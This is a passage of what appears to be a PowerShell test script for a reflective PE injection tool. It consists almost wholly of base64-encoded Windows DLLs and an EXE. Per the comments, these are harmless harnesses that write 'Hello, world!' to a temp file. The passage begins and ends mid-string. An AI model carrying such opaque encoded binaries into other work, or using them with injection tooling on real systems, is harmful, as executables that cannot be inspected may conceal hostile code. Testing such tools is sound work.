AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAADAAAABCgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitStringDll = '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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADAAAABEwAAAAIAAADAAAABAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + + # A bare bones test harness DLL that simply writes "Hello, world!" to %TEMP%\testoutput.txt upon having VoidFunc called + $Encoded64BitVoidDll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABxqgfBNctpkjXLaZI1y2mSPLP6kjbLaZI1y2iSM8tpkheyjZI0y2mSF7K1kjTLaZIXsreSNMtpklJpY2g1y2mSAAAAAAAAAABQRQAAZIYDAKZ8PlYAAAAAAAAAAPAAIiALAgwAAAIAAAAEAAAAAAAAABAAAAAQAAAAAACAAQAAAAAQAAAAAgAABQACAAAAAAAFAAIAAAAAAABAAAAABAAAlVEAAAEAYAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAkCAAAF0AAADwIAAAKAAAAAAAAAAAAAAAADAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAACUBAAAAEAAAAAIAAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADIAQAAACAAAAACAAAABgAAAAAAAAAAAAAAAAAAQAAAQC5wZGF0YQAADAAAAAAwAAAAAgAAAAgAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALgBAAAAw8zMzMzMzMzMzMxMi9xTSIHsYAEAAIsFFxAAAPIPEAUXEAAASI0NLBAAAEGJQwgPtwUBEAAA8g8RRCRAZkGJQwwPtgXxDwAAQYhDDosF8Q8AAIlEJEgPtwXqDwAAZolEJEz/FasPAABIjRXcDwAASIvI/xWTDwAASIvYSIXAD4STAAAASI1UJFBIjYwkcAEAAEG4AgEAAP8VXg8AAIXAdHZMjQW7DwAASI1MJFC6AgEAAP/ThcB1X0jHRCQwAAAAAESNQAdIjUwkUEUzyboAAABAx0QkKIAAAADHRCQgAgAAAP8VOw8AAEiL2EiFwHQnRTPJSI1UJEBIi8hFjUEOSMdEJCAAAAAA/xX1DgAASIvL/xUEDwAASIHEYAEAAFvDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXiEAAAAAAAB6IQAAAAAAAIYhAAAAAAAAmCEAAAAAAACsIQAAAAAAAFAhAAAAAAAAAAAAAAAAAAAlVEVNUCUAAEhlbGxvLCB3b3JsZCEAAABzdHJjYXRfcwAAAABudGRsbAAAAAAAAABcdGVzdG91dHB1dC50eHQAAQsDAAsBLAAEMAAAAAAAAAAAAAAAAAAAAAAAAKZ8PlYAAAAAwiAAAAEAAAABAAAAAQAAALggAAC8IAAAwCAAABAQAADkIAAAAABSZWZsZWN0aXZlUEVJbmplY3RUZXN0SGFybmVzcy5kbGwAVm9pZEZ1bmMAAAAAGCEAAAAAAAAAAAAAuiEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4hAAAAAAAAeiEAAAAAAACGIQAAAAAAAJghAAAAAAAArCEAAAAAAABQIQAAAAAAAAAAAAAAAAAAiABDcmVhdGVGaWxlQQAiAUV4cGFuZEVudmlyb25tZW50U3RyaW5nc0EANAVXcml0ZUZpbGUATAJHZXRQcm9jQWRkcmVzcwAAGwJHZXRNb2R1bGVIYW5kbGVBAABSAENsb3NlSGFuZGxlAEtFUk5FTDMyLmRsbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEAAAJREAAHggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==' + $Encoded32BitVoidDll = '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' + + # A bare bones test harness EXE that simply writes "Hello, world! (EXE ARGS)" to %TEMP%\testoutput.txt + $Encoded64BitExe = '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